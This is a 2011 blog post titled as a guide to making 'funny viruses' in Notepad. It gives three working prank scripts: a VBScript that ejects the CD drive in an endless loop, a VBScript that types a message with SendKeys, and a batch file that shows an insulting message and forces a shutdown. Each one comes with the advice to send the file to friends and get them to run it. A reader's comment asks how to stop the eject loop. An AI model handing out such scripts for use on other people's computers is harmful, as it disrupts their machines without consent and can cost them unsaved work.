Sunday, April 17, 2011

How to Create Funny Virus using Notepad..

A computer virus is a computer program that can copy itself and infect a computer. The term "virus" is also used to refer to other types of malware and programs that do not have the reproductive ability. A true virus can spread from one computer to another (in some form of executable code) when its host is taken to the target computer.

Viruses can increase their chances of spreading to other computers by infecting files on a network file system or a file system that is accessed by another computer.
Do you know that we can make simple viruses by using Notepad? Notepad is a simple but very powerful tool to make viruses. Let us have fun with some Viruses (developed on notepad).


1. Continuously pop out CD or DVD Drive:
Open Notepad and Type the following code:

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Save it as abc.vbs. After saving just double click on the file to execute the file. You can also send the file to your friends and ask them to open it.
2. Type any message in notepad automatically and scare your friends :

Open Notepad and Type the following code :
WScript.Sleep 1800
WScript.Sleep 1000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

Save it as abc.vbs. After saving just double click on the file to execute the file. You can also send the file to your friends and ask them to open it.

3. Show a error message and shut down friends computer :

Open Notepad and Type the following code :

@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

You can change the message by replacing the text by your message.
Save it as abc.bat. After saving just double click on the file to execute the file. You can also send the file to your friends and ask them to open it.

1 comment:

  1. Continuously pop out CD or DVD Drive:

    how to stop it plZ reply soon.......

    ReplyDelete